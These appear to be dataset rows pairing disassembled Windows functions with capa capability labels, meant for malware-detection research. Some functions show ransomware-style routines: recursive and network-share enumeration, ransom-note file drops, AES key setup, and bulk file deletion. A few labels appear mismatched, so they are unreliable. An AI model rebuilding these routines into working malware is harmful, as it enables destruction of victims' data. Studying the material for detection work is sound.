joyce8/EMBER2024-capa huggingface dataset:
Function at 0x415f70
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
add eax, 0x10
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
jmp 0x415f91
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0x64
jge 0x4160b1
push 0
mov edx, dword [ebp - 0xc]
shl edx, 4
mov eax, dword [ebp - 4]
mov ecx, dword [eax + edx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x415fc7
cmp dword [ebp - 8], 0x102
je 0x4160ac
mov edx, dword [ebp - 0xc]
shl edx, 4
add edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp dword [eax + 4], 0
je 0x415ff3
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
mov dword [eax + 4], 0
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 8], 0
je 0x416013
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 8], 0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x41608e
push 0
push 4
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x416084
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov dword [ecx + 4], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0x14]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x41607a
mov eax, 1
jmp 0x4160b3
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0xc], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 8], 0
jmp 0x415f88
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4198a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0x4899f4
push 0
push 0
push 0x419930
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4899ec], eax
cmp dword [0x4899ec], 0
je 0x4198d0
mov eax, 1
jmp 0x4198d2
xor eax, eax
pop ebp
ret
Function at 0x41b6d0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
cmp dword [ebp + 8], 0
je 0x41b6f6
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x41b8c8
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x41b8c8
mov ecx, dword [ebp + 0x10]
push ecx
push str._s.
push 0x7fff
mov edx, dword [ebp - 8]
push edx
call dword [0x489830]
add esp, 0x10
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x41b8be
lea eax, [ebp - 0x260]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x41b8a1
cmp dword [ebp + 8], 1
jne 0x41b781
push 0
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x41b781
jmp 0x41b895
push 0x43613c
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x41b7ad
push 0x436140
lea ecx, [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x41b7b2
jmp 0x41b87c
mov edx, dword [ebp - 0x260]
and edx, 0x10
je 0x41b850
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0
je 0x41b84e
lea eax, [ebp - 0x234]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push str._s_s_
push 0x7fff
mov edx, dword [ebp - 0x264]
push edx
call dword [0x489830]
add esp, 0x14
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp - 0x264]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0041b6d0
add esp, 0x10
mov ecx, dword [ebp - 0x264]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x41b841
mov edx, dword [ebp + 0x14]
cmp dword [edx], 0
jne 0x41b841
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov edx, dword [ebp - 0x264]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x41b87c
lea eax, [ebp - 0x234]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push str._s_s
push 0x7fff
mov edx, dword [ebp - 0xc]
push edx
call dword [0x489830]
add esp, 0x14
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x260]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x41b763
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x41b8b4
mov ecx, dword [ebp + 0x14]
cmp dword [ecx], 0
jne 0x41b8b4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp + 0x14]
mov dword [edx], eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esp, ebp
pop ebp
ret
Function at 0x421160
Capabilities:
Get geographical location
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push 0x318
push 0x40
call dword [0x48948c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x421319
push str.NTDLL.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4211a8
mov eax, dword [ebp - 4]
push eax
call dword [0x489498]
xor eax, eax
jmp 0x42131b
push str.RtlGetVersion
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4211d1
mov edx, dword [ebp - 4]
push edx
call dword [0x489498]
xor eax, eax
jmp 0x42131b
push 0x11c
push 0
lea eax, [ebp - 0x130]
push eax
call fcn.00422100
add esp, 0xc
mov dword [ebp - 0x130], 0x11c
lea ecx, [ebp - 0x130]
push ecx
call dword [ebp - 0xc]
test eax, eax
je 0x421210
mov edx, dword [ebp - 4]
push edx
call dword [0x489498]
xor eax, eax
jmp 0x42131b
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x12c]
mov dword [eax + 0x308], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x128]
mov dword [edx + 0x30c], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x124]
mov dword [ecx + 0x310], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x120]
mov dword [eax + 0x314], ecx
push 0x10
call dword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov dword [ebp - 0x134], eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x134]
mov dword [edx], eax
push 0x50
lea ecx, [ebp - 0x188]
push ecx
call dword [0x489908]
test eax, eax
jne 0x42130f
lea edx, [ebp - 0x188]
push edx
call dword [0x4898ec]
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
je 0x42130f
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [ebp - 4]
mov ecx, dword [edx]
mov dword [eax + 0x228], ecx
mov dword [ebp - 0x190], 0x10
lea edx, [ebp - 0x190]
push edx
mov eax, dword [ebp - 4]
add eax, 4
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x42130f
mov dword [ebp - 0x194], 0x101
lea ecx, [ebp - 0x194]
push ecx
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
call dword [0x4897f8]
cmp eax, 1
jne 0x42130f
call dword [0x4895b0]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x300], eax
mov dword [ecx + 0x304], edx
mov eax, dword [ebp - 4]
jmp 0x42131b
mov edx, dword [ebp - 4]
push edx
call dword [0x489498]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x42803e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x487178]
jne 0x428048
repz ret
jmp fcn.0042c272

Function at 0x42bebf
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x487178]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00426904
and dword [ebp - 0x14], 0
cmp dword [0x48a71c], 0
mov dword [ebp - 0x18], eax
jne 0x42bf72
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x42c01a
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4381d8
push ebx
call edi
test eax, eax
je 0x42c01a
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x48a71c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x48a720], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x48a724], eax
call edi
push eax
call esi
mov dword [0x48a72c], eax
test eax, eax
je 0x42bf72
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x48a728], eax
mov eax, dword [0x48a728]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x42bfcb
cmp dword [0x48a72c], ecx
je 0x42bfcb
push eax
call esi
push dword [0x48a72c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x42bfcb
test ebx, ebx
je 0x42bfcb
call edi
test eax, eax
je 0x42bfc2
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x42bfc2
test byte [ebp - 8], 1
jne 0x42bfcb
or dword [ebp + 0x10], 0x200000
jmp 0x42bffe
mov eax, dword [0x48a720]
cmp eax, dword [ebp - 0x18]
je 0x42bffe
push eax
call esi
test eax, eax
je 0x42bffe
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x42bffe
mov eax, dword [0x48a724]
cmp eax, dword [ebp - 0x18]
je 0x42bffe
push eax
call esi
test eax, eax
je 0x42bffe
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x48a71c]
call esi
test eax, eax
je 0x42c01a
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x42c01c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042803e
leave
ret
Function at 0x401010
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, byte [edx]
push ebx
push esi
mov esi, ecx
push edi
mov byte [esi], al
movzx eax, byte [edx + 1]
mov byte [esi + 1], al
movzx eax, byte [edx + 2]
mov byte [esi + 2], al
movzx eax, byte [edx + 3]
mov byte [esi + 3], al
movzx eax, byte [edx + 4]
mov byte [esi + 4], al
movzx eax, byte [edx + 5]
mov byte [esi + 5], al
movzx eax, byte [edx + 6]
mov byte [esi + 6], al
movzx eax, byte [edx + 7]
mov byte [esi + 7], al
movzx eax, byte [edx + 8]
mov byte [esi + 8], al
movzx eax, byte [edx + 9]
mov byte [esi + 9], al
movzx eax, byte [edx + 0xa]
mov byte [esi + 0xa], al
movzx eax, byte [edx + 0xb]
mov byte [esi + 0xb], al
movzx eax, byte [edx + 0xc]
mov byte [esi + 0xc], al
movzx eax, byte [edx + 0xd]
mov byte [esi + 0xd], al
movzx eax, byte [edx + 0xe]
mov byte [esi + 0xe], al
movzx eax, byte [edx + 0xf]
mov byte [esi + 0xf], al
movzx eax, byte [edx + 0x10]
mov byte [esi + 0x10], al
movzx eax, byte [edx + 0x11]
mov byte [esi + 0x11], al
movzx eax, byte [edx + 0x12]
mov byte [esi + 0x12], al
movzx eax, byte [edx + 0x13]
mov byte [esi + 0x13], al
movzx eax, byte [edx + 0x14]
mov byte [esi + 0x14], al
movzx eax, byte [edx + 0x15]
mov byte [esi + 0x15], al
movzx eax, byte [edx + 0x16]
mov byte [esi + 0x16], al
movzx eax, byte [edx + 0x17]
mov byte [esi + 0x17], al
movzx eax, byte [edx + 0x18]
mov byte [esi + 0x18], al
movzx eax, byte [edx + 0x19]
mov byte [esi + 0x19], al
movzx eax, byte [edx + 0x1a]
mov byte [esi + 0x1a], al
movzx eax, byte [edx + 0x1b]
mov byte [esi + 0x1b], al
movzx eax, byte [edx + 0x1c]
mov byte [esi + 0x1c], al
lea eax, [esi + 0x1d]
movzx ecx, byte [edx + 0x1d]
mov byte [eax], cl
movzx ecx, byte [edx + 0x1e]
mov byte [esi + 0x1e], cl
movzx ecx, byte [edx + 0x1f]
mov byte [esi + 0x1f], cl
mov esi, 8
nop
mov cl, byte [eax + 1]
mov edi, esi
mov dh, byte [eax + 2]
mov bl, byte [eax - 1]
mov bh, byte [eax]
mov byte [ebp - 1], cl
mov byte [ebp - 2], dh
and edi, 7
jne 0x401153
movzx ecx, cl
movzx edx, bh
mov bh, byte [ecx + str.cw]
movzx ecx, byte [ebp - 2]
mov cl, byte [ecx + str.cw]
mov byte [ebp - 1], cl
movzx ecx, bl
mov cl, byte [ecx + str.cw]
mov byte [ebp - 2], cl
mov ecx, esi
shr ecx, 3
mov bl, byte [ecx + 0x417018]
xor bl, byte [edx + str.cw]
mov dh, byte [ebp - 2]
jmp 0x401182
cmp edi, 4
jne 0x401182
mov dl, byte [ebp - 1]
movzx ecx, bl
mov bl, byte [ecx + str.cw]
movzx ecx, bh
mov bh, byte [ecx + str.cw]
movzx ecx, dl
mov cl, byte [ecx + str.cw]
mov byte [ebp - 1], cl
movzx ecx, dh
mov dh, byte [ecx + str.cw]
movzx ecx, byte [eax - 0x1d]
inc esi
mov dl, byte [ebp - 1]
xor cl, bl
mov byte [eax + 3], cl
movzx ecx, byte [eax - 0x1c]
xor cl, bh
mov byte [eax + 4], cl
movzx ecx, byte [eax - 0x1b]
xor cl, dl
mov byte [eax + 5], cl
movzx ecx, byte [eax - 0x1a]
xor cl, dh
mov byte [eax + 6], cl
add eax, 4
cmp esi, 0x3c
jb 0x401100
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401410
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
mov ebx, ecx
lea esi, [edx + 1]
push edi
mov dword [ebp - 0x24], ebx
xor edi, edi
nop word [eax + eax]
movzx edx, byte [esi - 1]
lea esi, [esi + 4]
movzx eax, byte [esi - 4]
shl edx, 8
or edx, eax
movzx eax, byte [esi - 3]
shl edx, 8
or edx, eax
movzx eax, byte [esi - 2]
shl edx, 8
or edx, eax
mov dword [ebp + edi*4 - 0x128], edx
inc edi
cmp edi, 0x10
jb 0x401430
cmp edi, 0x40
jae 0x4014b0
mov ebx, 0x40
lea eax, [ebp + edi*4 - 0x130]
sub ebx, edi
mov edx, dword [eax - 0x34]
lea eax, [eax + 4]
mov esi, dword [eax - 4]
mov edi, edx
mov ecx, edx
rol edi, 0xe
ror ecx, 7
xor edi, ecx
shr edx, 3
xor edi, edx
mov ecx, esi
mov edx, esi
rol ecx, 0xd
rol edx, 0xf
xor edx, ecx
shr esi, 0xa
xor edx, esi
add edi, edx
add edi, dword [eax - 0x3c]
add edi, dword [eax - 0x18]
mov dword [eax + 4], edi
sub ebx, 1
jne 0x401472
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx + 0x50]
xor edx, edx
mov dword [ebp - 0x28], eax
mov edi, eax
mov eax, dword [ebx + 0x54]
mov dword [ebp - 0x10], eax
mov eax, dword [ebx + 0x58]
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x5c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebx + 0x60]
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 0x64]
mov dword [ebp - 8], eax
mov eax, dword [ebx + 0x68]
mov dword [ebp - 0xc], eax
mov eax, dword [ebx + 0x6c]
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
nop word [eax + eax]
mov esi, ebx
mov eax, ebx
rol eax, 7
mov ecx, ebx
ror esi, 0xb
not ecx
and ecx, dword [ebp - 0xc]
xor esi, eax
mov eax, ebx
ror eax, 6
xor esi, eax
mov eax, dword [ebp - 8]
and eax, ebx
xor ecx, eax
mov eax, edi
add esi, ecx
rol eax, 0xa
add esi, dword [edx + 0x417428]
add esi, dword [ebp + edx - 0x128]
mov edx, edi
add esi, dword [ebp - 0x1c]
ror edx, 0xd
xor edx, eax
mov eax, edi
ror eax, 2
xor edx, eax
mov eax, dword [ebp - 0x10]
mov ecx, eax
and eax, edi
xor ecx, edi
and ecx, dword [ebp - 4]
xor ecx, eax
mov eax, dword [ebp - 0xc]
add edx, ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
mov ecx, edi
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 0x14]
lea edi, [edx + esi]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x20]
add ebx, esi
mov eax, dword [ebp - 4]
add edx, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], edx
cmp edx, 0x100
jb 0x4014f0
mov eax, dword [ebp - 0x28]
add eax, edi
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x24]
pop edi
pop esi
add dword [ebx + 0x54], ecx
mov dword [ebx + 0x50], eax
mov eax, dword [ebp - 4]
add dword [ebx + 0x58], eax
mov eax, dword [ebp - 0x14]
add dword [ebx + 0x5c], eax
mov eax, dword [ebp - 0x18]
add dword [ebx + 0x60], eax
mov eax, dword [ebp - 8]
add dword [ebx + 0x64], eax
mov eax, dword [ebp - 0xc]
add dword [ebx + 0x68], eax
mov eax, dword [ebp - 0x1c]
add dword [ebx + 0x6c], eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404b60
Capabilities:
Enumerate files on windows
Enumerate files recursively
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x404d1c
push 0xfffe
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 1
push 0x427430
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0
push esi
push 0x404970
call dword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
push 0xfffe
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call edi
mov edi, eax
test edi, edi
je 0x404d1c
push ebx
push str._s
push 0x7fff
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
lea eax, [ebp - 0x254]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x404ca7
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea eax, [ebp - 0x228]
push eax
push ebx
push str._s_s
push 0x7fff
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
test byte [ebp - 0x254], 0x10
je 0x404c86
push 0x4193fc
lea eax, [ebp - 0x228]
push eax
call esi
test eax, eax
je 0x404c86
push 0x419404
lea eax, [ebp - 0x228]
push eax
call esi
test eax, eax
je 0x404c86
mov esi, 0x4267c4
nop
push dword [esi]
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
jne 0x404c80
add esi, 4
cmp esi, 0x4267e8
jne 0x404c50
push edi
mov ecx, 0x427421
call fcn.00404b60
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea eax, [ebp - 0x254]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404c01
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
push str._s_read_me_lkd.txt
push 0x7fff
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x404d0c
cmp dword [0x4268fc], 8
lea eax, [ebp + 8]
push 0
push eax
mov eax, dword [0x4268f8]
mov ecx, 0x4268e8
cmovae ecx, dword [0x4268e8]
add eax, eax
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404d30
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 4], 0xffffffff
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x4000
push 0x13
push 0
push 2
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x404df5
push dword [ebp - 8]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x404dec
lea eax, [ebp - 8]
push eax
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x404ddc
xor edi, edi
cmp dword [ebp - 4], edi
jbe 0x404dc6
lea esi, [ebx + 0x14]
nop word [eax + eax]
test byte [esi - 8], 2
je 0x404db6
lea eax, [esi - 0x14]
mov ecx, 0x427421
push eax
call fcn.00404d30
jmp 0x404dbd
push dword [esi]
call fcn.00404b60
inc edi
add esi, 0x20
cmp edi, dword [ebp - 4]
jb 0x404da0
lea eax, [ebp - 8]
push eax
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x404d90
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0xb9f008], 0x8088405
inc edx
mov dword [ebx + 0xb9f008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41d2ec
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41d31d
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d305
add dl, dl
jne 0x41d328
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d379
xor eax, eax
add dl, dl
jne 0x41d335
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d416
add dl, dl
jne 0x41d344
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d34f
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d35a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d365
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41d36f
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41d314
mov eax, 1
add dl, dl
jne 0x41d387
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d392
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d37e
sub eax, ebx
mov ebx, 1
jne 0x41d3c5
mov ecx, 1
add dl, dl
jne 0x41d3ab
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d3b6
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d3a2
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41d314
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41d3dc
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d3e7
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d3d3
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41d314
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41d437
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41d314
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret